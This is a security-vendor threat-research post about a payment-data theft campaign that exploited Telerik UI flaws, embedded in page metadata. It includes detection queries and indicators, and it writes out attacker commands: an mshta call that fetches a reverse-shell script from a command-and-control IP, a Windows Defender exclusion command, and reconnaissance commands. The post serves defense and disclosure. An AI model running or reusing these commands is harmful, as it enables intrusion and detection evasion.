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onscrollend	object
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<script type="application/ld+json">{"@context":"https:\/\/schema.org","@type":"BlogPosting","headline":"Silent Skimmer Gets Loud (Again)","name":"Silent Skimmer Gets Loud (Again)","description":"We discuss a new campaign from the cybercrime group behind Silent Skimmer, showcasing the exploit of Telerik UI vulnerabilities and malware like RingQ loader.","url":"https:\/\/unit42.paloaltonetworks.com\/silent-skimmer-latest-campaign\/","mainEntityOfPage":"https:\/\/unit42.paloaltonetworks.com\/silent-skimmer-latest-campaign\/","datePublished":"November 7, 2024","articleBody":"Executive Summary\r\nIn late May 2024, Unit 42 researchers observed an adversary compromising multiple web servers to gain access to the environment of a multinational organization headquartered in North America. Based on overlaps in adversary infrastructure and tools, as well as tactics, techniques and procedures (TTPs), it\u2019s possible to attribute the activity identified to the same threat actor behind the Silent Skimmer campaign.\r\n\r\nIn September 2023, an online payment scraping campaign was uncovered and dubbed Silent Skimmer. Since then, there has been little to no news of Silent Skimmer \u2013 until now.\r\n\r\nAccording to our research, the financially motivated threat actor behind the Silent Skimmer campaign is targeting organizations that host or create payment infrastructure and gateways. Unit 42 tracks the activity identified in this article as CL-CRI-0941.\r\n\r\nPalo Alto Networks customers are better protected from these threats through Cortex XDR and XSIAM, as well as Cloud-Delivered Security Services including Advanced URL Filtering, Advanced DNS Security, Advanced Threat Prevention and Advanced WildFire. Cortex Xpanse is able to identify internet-facing instances of Telerik UI. Organizations can engage the Unit 42 Incident Response team for specific assistance with this threat and others.\r\n\r\n\r\n\r\nRelated Unit 42 Topics\r\nRemote Code Execution (RCE)\r\n\r\n\r\n\r\nObserved Activities and TTPs\r\nIn May 2024, Unit 42 researchers investigated an incident where attackers compromised multiple web servers to gain access to their environment and dump payment information. The threat actor gained an initial foothold on the servers by exploiting a couple of one-day Telerik user interface (UI) vulnerabilities.\r\n\r\nTelerik UI is a popular framework for developing the user interface of ASP.NET web applications. The threat actor attempted to exploit two Telerik UI vulnerabilities to gain initial access to the environment:\r\n\r\n \tCVE-2017-11317 \u2014 Unrestricted file upload via weak encryption\r\n \tCVE-2019-18935 \u2014 Remote code execution via insecure deserialization\r\n\r\nAdversaries commonly exploit both of these vulnerabilities. They are a part of CISA\u2019s Known Exploited Vulnerabilities Catalog.\r\n\r\nThe vulnerabilities allow for remote code execution on servers running older, vulnerable versions of Telerik UI. We recommend upgrading to the latest available version.\r\n\r\nFollowing the vulnerabilities' exploitation, the attacker executed multiple reconnaissance commands and gained persistence. The following commands were among those executed:\r\n\r\n \tset\r\n \twhoami\r\n \tquser\r\n \tnet user\r\n \tdir\r\n \ttasklist \/svc\r\n \tipconfig\r\n \tnetstat -ano | findstr \\\"443\\\"\r\n \tnet localgroup administrators\r\n \tdir c:\\users\\public\r\n \t\"C:\\Windows\\system32\\ARP.EXE\" -a\r\n \t\"C:\\Windows\\system32\\systeminfo.exe\"\r\n \t\"C:\\Windows\\system32\\reg.exe\" query \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\" \/s\r\n \tcmd \/c hostname\r\n\r\nThe threat actor leveraged several techniques to achieve a foothold and execution onto the servers and environment.\r\n\r\nThe attacker uploaded multiple web shells, mainly to the following directories:\r\n\r\n \tC:\\Users\\Public\\Music\\\r\n \tC:\\WebRoot\\Health Checks\\Default\\\r\n \tC:\\WebRoot\\Web Applications\\*\\*\\Images\\Common\\\r\n \tC:\\WebRoot\\IIS\\Web Applications\\*\\*\\Images\\Common\\\r\n \tC:\\WebRoot\\IIS\\Web Applications\\Production\\*\\*\\Images\\Common\\\r\n\r\nThe attacker also dropped and executed multiple reverse shells, as we describe later in the Reverse Shells section. These reverse shells were responsible for the rest of the executions we describe in this article.\r\n\r\nWe also observed that the threat actor used tunneling and reverse proxy tools such as Fuso and FRP. These allowed the attacker to expose the exploited servers located behind a network address translation (NAT) or firewall to the internet.\r\n\r\nWe observed the following reverse proxy executions:\r\n\r\n\r\n\r\nWe observed the attacker using GodPotato for privilege escalation. GodPotato executed using a Base64-encoded PowerShell command that translated to the command shown in Figure 1 below.\r\n\r\n[caption id=\"attachment_137326\" align=\"alignnone\" width=\"900\"] Figure 1. GodPotato download and execution.[\/caption]\r\n\r\nThe attacker retrieved other GodPotato payloads from http:\/\/48[.]218.138.60\/a.txt and http:\/\/48[.]218.138[.]60\/m.txt. They used these to execute powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath D:\\ to add D:\\ to the Windows Defender exclusion list to evade detection.\r\nNative C++ Code Embedded within .NET Binaries\r\nTo bypass the security measures and make the analysis process more difficult, the threat actor used .NET binaries with native C++ code embedded by leveraging mixed mode assemblies. The threat actor used this as a way to include code from one programming language embedded in another, which is an old technique some programming languages natively support.\r\n\r\nIn this case, mixed-mode assemblies were used to embed native C++ code within a .NET binary. As a result, some .NET binary analysis tools are unable to analyze the embedded (unmanaged) code. This requires researchers to put in extra effort to identify the malicious payload. In 2022, Mandiant [PDF] used a sample employing this technique in their annual FLARE-On Challenge.\r\n\r\nThe threat actor used this feature to create .NET wrapper binaries to execute malicious code. So when analyzing the binaries with .NET analysis tools like dnSpy for instance, there is no code to be executed as shown in Figure 2.\r\n\r\n[caption id=\"attachment_137328\" align=\"alignnone\" width=\"400\"] Figure 2. Empty .NET code.[\/caption]\r\n\r\nAlthough this is not always the case, Figure 3 shows how dnSpy can identify the usage of mixed mode assemblies and warns about the unmanaged code, also showing the native entry point.\r\n\r\n[caption id=\"attachment_137330\" align=\"alignnone\" width=\"550\"] Figure 3. dnSpy warning on the usage of unmanaged code.[\/caption]\r\n\r\nWhen jumping to the native entry point address, it is possible to identify the native code as shown in Figures 4 and 5.\r\n\r\n[caption id=\"attachment_137332\" align=\"alignnone\" width=\"900\"] Figure 4. Native entry point content.[\/caption]\r\n\r\n[caption id=\"attachment_137334\" align=\"alignnone\" width=\"600\"] Figure 5. Native code calling the function written by the threat actor.[\/caption]\r\n\r\nBy following the execution flow, it is possible to reach the malicious command executed, as identified in Figure 6. The malicious command uses Microsoft HTML Application Host (MSHTA) Living Off the Land Binaries (LOLBin) to download and execute a remote HTA (HTML Application) payload. It then proxies the execution of the malicious code through a legitimate and official binary.\r\n\r\n[caption id=\"attachment_137336\" align=\"alignnone\" width=\"900\"] Figure 6. Embedded native code executing the malicious command.[\/caption]\r\nRingQ Loader\r\nDuring the investigation, Unit 42 researchers observed the threat actor leveraging the RingQ loader as part of their arsenal. The RingQ loader comprises two main components. One is a tool that creates an encrypted file containing the binary to be loaded and executed, and the other is the loader itself, which reflectively loads the binary.\r\n\r\nRingQ can also act as a downloader if configured to do so. Figure 7 shows the logic of the loader and the execution branches to load the encrypted file locally or remotely from a URL specified in the binary resources.\r\n\r\n[caption id=\"attachment_137338\" align=\"alignnone\" width=\"602\"] Figure 7. Execution logic source code from the GitHub repository.[\/caption]\r\n\r\nThe samples identified in the activity covered in this article use different methods to load the encrypted payload. Figure 8 shows the value set to the Portable Executable (PE) string table resource of the RingQ loader to download the encrypted payload from a remote URL.\r\n\r\n[caption id=\"attachment_137340\" align=\"alignnone\" width=\"364\"] Figure 8. Remote location of the encrypted payload using the RingQ author nickname as the filename.[\/caption]\r\n\r\nThe GitHub repository of the RingQ loader also includes a tool (QVM250) to tweak the resources of the PE file and include resources from original binaries in an attempt to trick and bypass some security measures. In the activity identified, one of the samples was mimicking PuTTY, a common SSH client for MS Windows (Figure 9).\r\n\r\n[caption id=\"attachment_137342\" align=\"alignnone\" width=\"900\"] Figure 9. Fake resources included in the loader.[\/caption]\r\nCompiled Python - Dumping Payment Information\r\nAfter the adversary secured web shell access on the server, they wrote a Windows executable to disk with a .txt file extension. Based on strings in the binary, we could determine that it was a Python script compiled to an executable with PyInstaller (Figure 10).\r\n\r\n[caption id=\"attachment_137344\" align=\"alignnone\" width=\"900\"] Figure 10. PyInstaller compilation strings.[\/caption]\r\n\r\nUsing a tool like PyInstaller Extractor, we could reverse that process and extract the compiled Python bytecode. The bytecode is readable but harder to understand. By using a tool like uncompyle6, we reverted the Python bytecode to its original Python form.\r\n\r\nThe nearly 8 MB original executable boils down to a simple Python script, shown below in Figure 11. The rest of the files were artifacts of PyInstaller that allow for proper packaging and execution. The script itself is simple and uses hard-coded credentials to connect to a database in the victim\u2019s organization and dump payment information to a .csv file.\r\n\r\n[caption id=\"attachment_137346\" align=\"alignnone\" width=\"500\"] Figure 11. Python script for executable.[\/caption]\r\nReverse Shells\r\nOnce the threat actor gained a foothold on the servers by exploiting the Telerik vulnerabilities, they attempted to achieve persistence by dropping multiple web shells as well as multiple PowerShell reverse shells.\r\n\r\nDuring our investigation, we observed that the threat actor installed reverse shells by executing multiple MSHTA commands that retrieved an .hta script from a hard-coded IP address, such as the following:\r\n\r\n \tmshta http:\/\/172[.]86.96.245\/129-80.hta (the .hta file script shown in Figure 12)\r\n\r\n[caption id=\"attachment_137348\" align=\"alignnone\" width=\"900\"] Figure 12. 129-80.hta script content.[\/caption]\r\n\r\nWe observed these executions with multiple different IP addresses and file names. The IP address in the URL was also used as the command and control (C2) IP address for the reverse shell. The filename represented the port in most cases, which is shown in the first two lines in Figure 12. The .hta file shown in Figure 13 is a VBScript that executes a Base64-encoded PowerShell command that decodes to a PowerShell script.\r\n\r\n[caption id=\"attachment_137350\" align=\"alignnone\" width=\"900\"] Figure 13. The reverse shellcode.[\/caption]\r\n\r\nThe reverse shells were also installed by downloading a .ps1 script, which is the reverse shell, using PowerShell's Invoke-WebRequest utility and executing it (Figure 14).\r\n\r\n[caption id=\"attachment_137352\" align=\"alignnone\" width=\"900\"] Figure 14. PowerShell executes Invoke-WebRequest utility.[\/caption]\r\nAttribution and Overlaps\r\nOne of the Cobalt Strike C2 IP addresses identified in this activity matches an IP address mentioned in a Sophos X-Ops report, where a similar infection chain resulted in an Ambitious Scorpius (BlackCat) ransomware attack. Since Ambitious Scorpius stopped operations after performing an exit scam, this overlap may belong to an affiliate or a cybercrime cluster used across both attacks.\r\n\r\nThe BlackBerry Research and Intelligence Team first wrote about the Silent Skimmer campaign back in September 2023. LevelBlue Labs later published their own findings. Since then, we haven't heard much about the campaign.\r\n\r\nA significant number of the TTPs we observed in our investigation align with the ones described in BlackBerry's blog starting from the initial access vector, which is the exploitation of publicly facing web servers. Specifically, both campaigns involved the exploitation of Telerik UI vulnerabilities that are over 5 years old.\r\n\r\nFollowing initial access, there were mostly identical techniques of installing reverse shells by executing mshta.exe, which downloads and executes an .hta script. While in BlackBerry's incident, the .hta file is a VBScript that downloads and executes a .ps1 script using certutil.exe, which is the reverse shell. In the incident Unit 42 was involved in, the .hta file is a VBScript that executes a PowerShell encoded command that decodes to a PowerShell script, which is the final reverse shell.\r\n\r\nIn the incident we were involved in, the attackers used reverse proxy tools and web shells to maintain persistence and control over compromised systems. Additionally, they leveraged GodPotato (a privilege escalation tool) and deployed Cobalt Strike for post-exploitation activities. These findings align closely with the tactics detailed in the BlackBerry blog.\r\n\r\nThe main difference between the campaigns is the method used to extract the payment and financial data. In the campaign described by BlackBerry, the attackers append malicious code to different payment-related pages that scrape the payment data. In the campaign we observed, the threat actor used a compiled Python script to connect to a database in the victim\u2019s organization and then dumped payment information to a CSV file for exfiltration.\r\n\r\nWith all this information, in alignment with the Unit 42 naming convention procedures, we are tracking this threat activity cluster as CL-CRI-0941.\r\nConclusion\r\nThe threat actor behind Silent Skimmer has resurfaced after a year, now leveraging a new technique for scraping payment details. Despite this update, the group's TTPs remain largely consistent with previous activity. This persistence underscores the need for organizations to stay vigilant and patch vulnerabilities promptly to defend against this enduring threat.\r\n\r\nPalo Alto Networks customers are better protected from the threats discussed in this article through the following products:\r\n\r\n \tCortex XDR and XSIAM help protect against the threats described through modules including Behavioral Threat Protection and Local Analysis.\r\n \tCloud-Delivered Security Services, including:\r\n\r\n \tThe Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the IoCs shared in this research.\r\n \tAdvanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with CL-CRI-0941 activity as malicious.\r\n \tAdvanced Threat Prevention signatures exist for activity described in this article, including the CVEs mentioned.\r\n\r\n\r\n\r\nCortex Xpanse is able to identify internet-facing instances of Telerik UI, including versions that are specifically associated with the vulnerabilities above.\r\n\r\nIf you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:\r\n\r\n \tNorth America Toll-Free: 866.486.4842 (866.4.UNIT42)\r\n \tEMEA: +31.20.299.3130\r\n \tAPAC: +65.6983.8730\r\n \tJapan: +81.50.1790.0200\r\n\r\nPalo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.\r\n\r\nXQL Queries\r\n\/\/ Description: mshta.exe executing a powershell encoded command\r\n\r\nconfig case_sensitive = false\r\n\r\n| dataset = xdr_data\r\n\r\n| filter event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START\r\n\r\n| filter actor_process_image_name = \"mshta.exe\"\r\n\r\n\/\/ Filtering powershell with base64 encoded commands\r\n\r\n| filter action_process_image_name = \"powershell.exe\" and action_process_image_command_line ~= \"[A-Za-z0-9+\\\/]{50,}[=]{0,2}\"\r\n\r\n\/\/ Decoding the base64 encoded commands\r\n\r\n| alter decoded_base64 = convert_from_base_64(arrayindex(regextract(action_process_image_command_line, \"[A-Za-z0-9+\\\/]{50,}[=]{0,2}\"),0))\r\n\r\n| alter decoded_base64 = replex(decoded_base64, \"\\x00\", \"\") \/\/ Trick to remove null bytes in decoded base64 output\r\n\r\n| fields _time, agent_hostname, agent_ip_addresses, action_process_image_name, action_process_image_command_line, actor_process_command_line, causality_actor_process_command_line, decoded_base64\r\n\/\/ Description: MSHTA command line\r\n\r\nconfig case_sensitive = false\r\n\r\n| dataset = xdr_data\r\n\r\n| filter event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START\r\n\r\n| filter action_process_image_name = \"mshta.exe\" and action_process_image_command_line ~= \"http:\/\/(?:(?:\\d|[01]?\\d\\d|2[0-4]\\d|25[0-5])\\.){3}(?:25[0-5]|2[0-4]\\d|[01]?\\d\\d|\\d)\/(?:\\d{2,3}|\\d{1,3}-\\d{2,3}|securityhealth|securityhealthsystray|shell|\\w+).hta\"\r\n\r\n| fields _time, agent_hostname, agent_ip_addresses, action_process_image_name, action_process_image_command_line, actor_process_command_line, causality_actor_process_command_line\r\n\/\/Description: Looks for IIS processes dropping DLLs with a naming convention used in a public CVE-2019-18935 POC and in the current incident\r\n\r\ndataset = xdr_data\r\n\r\n|filter event_type = ENUM.FILE\r\n\r\n|filter actor_process_image_name = \"w3wp.exe\"\r\n\r\n|filter action_file_name ~= \"^[0-9]{10}\\.[0-9]{5,7}(?:\\.dll|sleep\\-[0-9]{10}-amd64)\"\r\n\r\n|fields _time, agent_hostname, actor_process_image_name, actor_process_command_line, action_file_path, action_file_sha256\r\nIndicators of Compromise\r\n\r\n\r\n\r\nValue\r\nType\r\nDescription\r\n\r\n\r\n55271d94eb3c95bb6a1965d44bade5ecef5ff610e87133f169e602eb94c39d6b\r\nSHA256\r\nRingQ Loader\r\n\r\n\r\n1b325d32bc99db4b16e2cc4d4810c195f3643936d7ff5baee43ddd18cae9b2a6\r\nSHA256\r\nRingQ Loader\r\n\r\n\r\n85d67f9f6f82de5a8f5f92fcf9a82bbed2ff6f6d91a06a058a40c5a64882149b\r\nSHA256\r\nRingQ Loader\r\n\r\n\r\nb44e6fd83b87d50c8aa8cf62de2578a13c22292fcf298b7664ed828804280dbe\r\nSHA256\r\nRingQ Loader\r\n\r\n\r\ne3746de8993069f343a7334046a2361318e213e13883513a7c0713a847fd4dc9\r\nSHA256\r\nRingQ Loader\r\n\r\n\r\n64ae2bf6920311be2521c47678c04299bd24c2caec2df5b340aa212a69760fda\r\nSHA256\r\nRingQ Loader\r\n\r\n\r\n12508b830149c2d84f2c80947e78218128d16a834c8d0695068f3e773ac62ef9\r\nSHA256\r\nGodPotato\r\n\r\n\r\n0aa0ca465170315d2f02c471d5d96ce5fbd6076f59be83fa5398968e951a5f51\r\nSHA256\r\nGodPotato\r\n\r\n\r\ndc53581d4c9140b0f987eb6686d67db6d777f8c89114b062be35b8f2847aa66f\r\nSHA256\r\nUsage of mixed mode assemblies\r\n\r\n\r\n3579bae222eb8d7a7c3c16598cf9e81aecbbfc1a2ac2168430e48acfb02cfb24\r\nSHA256\r\nUsage of mixed mode assemblies\r\n\r\n\r\n5d82f31bc37aa18e5c5110968b1a85aa419c6e2840e17074d2519ed9ad5b914c\r\nSHA256\r\nUsage of mixed mode assemblies\r\n\r\n\r\n5ef5c841f74f9331efb5a43cd16d62fd27eb8293888e872a17c7a57795e37d75\r\nSHA256\r\nUsage of mixed mode assemblies\r\n\r\n\r\n7dadff4d883b32c01bbcb96baf081649dbfadd186b934a7fd3c9754e0ba87ab3\r\nSHA256\r\nUsage of mixed mode assemblies\r\n\r\n\r\n8ae2b420245ebbd983d42bb2d8ceb92f2e7ef40181d8f1cb347797ee7a61b2a1\r\nSHA256\r\nUsage of mixed mode assemblies\r\n\r\n\r\nc0244fafbd5231730fdd0bfef2a972dd074f52ca46dc377494424269add81d2b\r\nSHA256\r\nUsage of mixed mode assemblies\r\n\r\n\r\nc73e3b300ac9eb956a471cefb2282602834b5809c46b7807cfc06f671a5d9f8f\r\nSHA256\r\nUsage of mixed mode assemblies\r\n\r\n\r\nf9e5e09788.ipv6.1433.eu.org\r\nDomain\u00a0\r\nConnectivity checks\r\n\r\n\r\nhttp:\/\/20.222.194[.]41\/SecurityHealthSystray.hta\r\nURL\r\nMSHTA payload\r\n\r\n\r\nhttp:\/\/20.210.230.146\/SecurityHealthSystray.hta\r\nURL\r\nMSHTA payload\r\n\r\n\r\nhttp:\/\/13.78.113[.]103\/One.ps1\r\nURL\r\nPowerShell payload\r\n\r\n\r\nhttp:\/\/13.71.153[.]8\/logtest.ps1\r\nURL\r\nPowerShell payload\r\n\r\n\r\nnigntboxcdn[.]com\r\nFQDN\r\nExfiltration\r\n\r\n\r\n342daa41ba3989d5ecb95c7c19a55c1a00c12b6c2faa2cac052bc910a6edd56f\r\nSHA256\r\nWeb shell\r\n\r\n\r\n28f0f37fcdee2ac2c022bb454b30f05458075434fa57662af2de22ba5cfb45c1\r\nSHA256\r\nWeb shell\r\n\r\n\r\n29a81d3125ab1c886266a03902204253708f8d181c547a88ceb447ef59f99f60\r\nSHA256\r\nWeb shell\r\n\r\n\r\n9b29964d0b3d026aa01713dbdf4361439788c05c8eb8723fc7cfb933245dec45\r\nSHA256\r\nWeb shell\r\n\r\n\r\n311935e115d678adbe502c8cc4e5396323f3f015ee186df6dc9f67ae0248104b\r\nSHA256\r\nWeb shell\r\n\r\n\r\n06710575d20cacd123f83eb82994879367e07f267e821873bf93f4db6312a97b\r\nSHA256\r\nWeb shell\r\n\r\n\r\n20[.]37.116.136\r\nIP address\r\nC2\r\n\r\n\r\n167[.]88.168.11\r\nIP address\r\nC2\r\n\r\n\r\n45[.]61.166.209\r\nIP address\r\nC2\r\n\r\n\r\n172[.]86.123.127\r\nIP address\r\nC2\r\n\r\n\r\n48[.]218.138.60\r\nIP address\r\nC2\r\n\r\n\r\n172[.]86.105.129\r\nIP address\r\nC2\r\n\r\n\r\n172[.]86.96.245\r\nIP address\r\nC2\r\n\r\n\r\n20[.]188.26.190\r\nIP address\r\nC2\r\n\r\n\r\n13[.]78.113.103\r\nIP address\r\nC2\r\n\r\n\r\n13[.]78.94.29\r\nIP address\r\nC2\r\n\r\n\r\n52[.]253.107.167\r\nIP address\r\nC2\r\n\r\n\r\n20[.]89.43.151\r\nIP address\r\nC2\r\n\r\n\r\n20[.]222.194.41\r\nIP address\r\nC2\r\n\r\n\r\n20[.]222.138.18\r\nIP address\r\nC2\r\n\r\n\r\n60[.]204.201.75\r\nIP address\r\nC2\r\n\r\n\r\n5acac9846035863b178ff75fb2a8bdcd53e5d496007d032c3fb20e0dc8306fd9\r\nSHA256\r\nShellcode runner\r\n\r\n\r\nb1d10328d0cbe3413d1ec15888e5772e323798072fda1285f17b61a96bf0e34e\r\nSHA256\r\nUnknown\r\n\r\n\r\n91a5f92908c561f1d1814d36da613c5b7411bb45554e1b2d19713f1f6d50a10c\r\nSHA256\r\nCobalt Strike\r\n\r\n\r\n8240d49629a558acc0426dff40c042fa989fb46159bb5971ee3c4211b68a59d0\r\nSHA256\r\nUnknown\r\n\r\n\r\na2a17e561d50f69e011598fd2e03b0376f6468609a1b2d6be9d458ee5c8b397d\r\nSHA256\r\nUnknown\r\n\r\n\r\nb1da7982199597882a2da8c45114f4cf74fed64447fca8c5f58ced24d7085c77\r\nSHA256\r\nReverse shell\r\n\r\n\r\n1c9a9732d600d975b5b44ab326d5cc99123a84d5b400a189902ff6d249a24bda\r\nSHA256\r\nReverse shell\r\n\r\n\r\n\r\nAdditional Resources\r\n\r\n \tIt\u2019s Silent Skimmer: Online Payment Scraping Campaign Shifts Targets From APAC to NALA \u2013 BlackBerry\r\n \tInto the tank with Nitrogen \u2013 Sophos News\r\n \tMixed (Native and Managed) Assemblies \u2013 Microsoft Learn\r\n \tChallenge 6: \u00e0 la mode [PDF] \u2013 Mandiant FLARE-On Challenge on mixed mode assemblies\r\n \tDon\u2019t check out! \u2013 Credit card skimming activity observed \u2013 LevelBlue\r\n \tGitHub - T4y1oR\/RingQ: \u4e00\u6b3e\u540e\u6e17\u900f\u514d\u6740\u5de5\u5177\uff0c\u52a9\u529b\u6bcf\u4e00\u4f4d\u50cf\u6211\u8fd9\u6837\u7684\u811a\u672c\u5c0f\u5b50\u5feb\u901f\u5b9e\u73b0\u514d\u6740\uff0c\u652f\u6301bypass AV\/EDR 360 \u706b\u7ed2 Windows Defender Shellcode Loader \u2013 T4y1oR on GitHub\r\n \tBlackCat ransomware shuts down in exit scam, blames the \"feds\" \u2013 Bleeping Computer\r\n \tPlaybook Of The Week - Fending Off Living Off the Land Attacks \u2013 Palo Alto Networks\r\n \tAI Skills Challenge, Primitive: Mshta.exe \u2013 Microsoft Learn\r\n \tSystem Binary Proxy Execution: Mshta, Sub-technique T1218.005 \u2013 MITRE ATT&amp;CK\r\n \tAI Skills Challenge, HTML Applications \u2013 Microsoft Learn\r\n \tReflective Code Loading, Technique T1620 - Enterprise \u2013 Techniques, MITRE ATT&amp;CK\r\n\r\n&nbsp;","publisher":{"@type":"Organization","@id":"#panworg"},"image":{"@type":"ImageObject","url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/11\/11_Cybercrime_Category_1920x900-300x300.jpg","width":300,"height":300},"speakable":{"@type":"SpeakableSpecification","xPath":["\/html\/head\/title","\/html\/head\/meta[@name='description']\/@content"]},"author":[{"@type":"Person","name":"Veronika Senderovych"},{"@type":"Person","name":"Chema Garcia"},{"@type":"Person","name":"Zack Fink"}]}</script><link rel="stylesheet" id="crayon-css" href="https://unit42.paloaltonetworks.com/wp-content/plugins/crayon-syntax-highlighter/css/min/crayon.min.css?ver=_2.7.2_beta" media="all">
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a{position:relative;z-index:2;pointer-events:initial}#onetrust-pc-sdk .ot-vnd-serv .ot-vnd-item .ot-vnd-info a,#onetrust-pc-sdk .ot-vs-list .ot-vnd-item .ot-vnd-info a{margin-right:auto}#onetrust-pc-sdk .ot-pc-footer-logo img{width:136px;height:16px}#onetrust-pc-sdk .ot-pur-vdr-count{font-weight:400;font-size:.7rem;padding-top:3px;display:block}#onetrust-banner-sdk .ot-optout-signal,#onetrust-pc-sdk .ot-optout-signal{border:1px solid #32ae88;border-radius:3px;padding:5px;margin-bottom:10px;background-color:#f9fffa;font-size:.85rem;line-height:2}#onetrust-banner-sdk .ot-optout-signal .ot-optout-icon,#onetrust-pc-sdk .ot-optout-signal .ot-optout-icon{display:inline;margin-right:5px}#onetrust-banner-sdk .ot-optout-signal svg,#onetrust-pc-sdk .ot-optout-signal svg{height:20px;width:30px;transform:scale(.5)}#onetrust-banner-sdk .ot-optout-signal svg path,#onetrust-pc-sdk .ot-optout-signal svg path{fill:#32ae88}#onetrust-consent-sdk .ot-general-modal{overflow:hidden;position:fixed;margin:0 auto;top:50%;left:50%;width:40%;padding:1.5rem;max-width:575px;min-width:575px;z-index:2147483647;border-radius:2.5px;transform:translate(-50%,-50%)}#onetrust-consent-sdk .ot-signature-health-group{margin-top:1rem;padding-left:1.25rem;padding-right:1.25rem;margin-bottom:.625rem;width:calc(100% - 2.5rem)}#onetrust-consent-sdk .ot-signature-health-group .ot-signature-health-form{gap:.5rem}#onetrust-consent-sdk .ot-signature-health .ot-signature-health-form{width:70%;gap:.35rem}#onetrust-consent-sdk .ot-signature-health .ot-signature-input{height:38px;padding:6px 10px;background-color:#fff;border:1px solid #d1d1d1;border-radius:4px;box-shadow:none;box-sizing:border-box}#onetrust-consent-sdk .ot-signature-health .ot-signature-subtitle{font-size:1.125rem}#onetrust-consent-sdk .ot-signature-health .ot-signature-group-title{font-size:1.25rem;font-weight:700}#onetrust-consent-sdk .ot-signature-health,#onetrust-consent-sdk .ot-signature-health-group{display:flex;flex-direction:column;gap:1rem}#onetrust-consent-sdk .ot-signature-health .ot-signature-cont,#onetrust-consent-sdk .ot-signature-health-group .ot-signature-cont{display:flex;flex-direction:column;gap:.25rem}#onetrust-consent-sdk .ot-signature-health .ot-signature-paragraph,#onetrust-consent-sdk .ot-signature-health-group .ot-signature-paragraph{margin:0;line-height:20px;font-size:max(14px,.875rem)}#onetrust-consent-sdk .ot-signature-health .ot-health-signature-error,#onetrust-consent-sdk .ot-signature-health-group .ot-health-signature-error{color:#4d4d4d;font-size:min(12px,.75rem)}#onetrust-consent-sdk .ot-signature-health .ot-signature-buttons-cont,#onetrust-consent-sdk .ot-signature-health-group .ot-signature-buttons-cont{margin-top:max(.75rem,2%);gap:1rem;display:flex;justify-content:flex-end}#onetrust-consent-sdk .ot-signature-health .ot-signature-button,#onetrust-consent-sdk .ot-signature-health-group .ot-signature-button{flex:1;height:auto;color:#fff;cursor:pointer;line-height:1.2;min-width:125px;font-weight:600;font-size:.813em;border-radius:2px;padding:12px 10px;white-space:normal;word-wrap:break-word;word-break:break-word;background-color:#68b631;border:2px solid #68b631}#onetrust-consent-sdk .ot-signature-health .ot-signature-button.reject,#onetrust-consent-sdk .ot-signature-health-group .ot-signature-button.reject{background-color:#fff}#onetrust-consent-sdk .ot-input-field-cont{display:flex;flex-direction:column;gap:.5rem}#onetrust-consent-sdk .ot-input-field-cont .ot-signature-input{width:65%}#onetrust-consent-sdk .ot-signature-health-form{display:flex;flex-direction:column}#onetrust-consent-sdk .ot-signature-health-form .ot-signature-label{margin-bottom:0;line-height:20px;font-size:max(14px,.875rem)}@media only screen and (max-width:600px){#onetrust-consent-sdk .ot-general-modal{min-width:100%}#onetrust-consent-sdk .ot-signature-health .ot-signature-health-form{width:100%}#onetrust-consent-sdk .ot-input-field-cont .ot-signature-input{width:100%}}#onetrust-banner-sdk,#onetrust-pc-sdk,#ot-sdk-cookie-policy,#ot-sync-ntfy{font-size:16px}#onetrust-banner-sdk *,#onetrust-banner-sdk ::after,#onetrust-banner-sdk ::before,#onetrust-pc-sdk *,#onetrust-pc-sdk ::after,#onetrust-pc-sdk ::before,#ot-sdk-cookie-policy *,#ot-sdk-cookie-policy ::after,#ot-sdk-cookie-policy ::before,#ot-sync-ntfy *,#ot-sync-ntfy ::after,#ot-sync-ntfy ::before{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}#onetrust-banner-sdk div,#onetrust-banner-sdk span,#onetrust-banner-sdk h1,#onetrust-banner-sdk h2,#onetrust-banner-sdk h3,#onetrust-banner-sdk h4,#onetrust-banner-sdk h5,#onetrust-banner-sdk h6,#onetrust-banner-sdk p,#onetrust-banner-sdk img,#onetrust-banner-sdk svg,#onetrust-banner-sdk button,#onetrust-banner-sdk section,#onetrust-banner-sdk a,#onetrust-banner-sdk label,#onetrust-banner-sdk input,#onetrust-banner-sdk ul,#onetrust-banner-sdk li,#onetrust-banner-sdk nav,#onetrust-banner-sdk table,#onetrust-banner-sdk thead,#onetrust-banner-sdk tr,#onetrust-banner-sdk td,#onetrust-banner-sdk tbody,#onetrust-banner-sdk .ot-main-content,#onetrust-banner-sdk .ot-toggle,#onetrust-banner-sdk #ot-content,#onetrust-banner-sdk #ot-pc-content,#onetrust-banner-sdk .checkbox,#onetrust-pc-sdk div,#onetrust-pc-sdk span,#onetrust-pc-sdk h1,#onetrust-pc-sdk h2,#onetrust-pc-sdk h3,#onetrust-pc-sdk h4,#onetrust-pc-sdk h5,#onetrust-pc-sdk h6,#onetrust-pc-sdk p,#onetrust-pc-sdk img,#onetrust-pc-sdk svg,#onetrust-pc-sdk button,#onetrust-pc-sdk section,#onetrust-pc-sdk a,#onetrust-pc-sdk label,#onetrust-pc-sdk input,#onetrust-pc-sdk ul,#onetrust-pc-sdk li,#onetrust-pc-sdk nav,#onetrust-pc-sdk table,#onetrust-pc-sdk thead,#onetrust-pc-sdk tr,#onetrust-pc-sdk td,#onetrust-pc-sdk tbody,#onetrust-pc-sdk .ot-main-content,#onetrust-pc-sdk .ot-toggle,#onetrust-pc-sdk #ot-content,#onetrust-pc-sdk #ot-pc-content,#onetrust-pc-sdk .checkbox,#ot-sdk-cookie-policy div,#ot-sdk-cookie-policy span,#ot-sdk-cookie-policy h1,#ot-sdk-cookie-policy h2,#ot-sdk-cookie-policy h3,#ot-sdk-cookie-policy h4,#ot-sdk-cookie-policy h5,#ot-sdk-cookie-policy h6,#ot-sdk-cookie-policy p,#ot-sdk-cookie-policy img,#ot-sdk-cookie-policy svg,#ot-sdk-cookie-policy button,#ot-sdk-cookie-policy section,#ot-sdk-cookie-policy a,#ot-sdk-cookie-policy 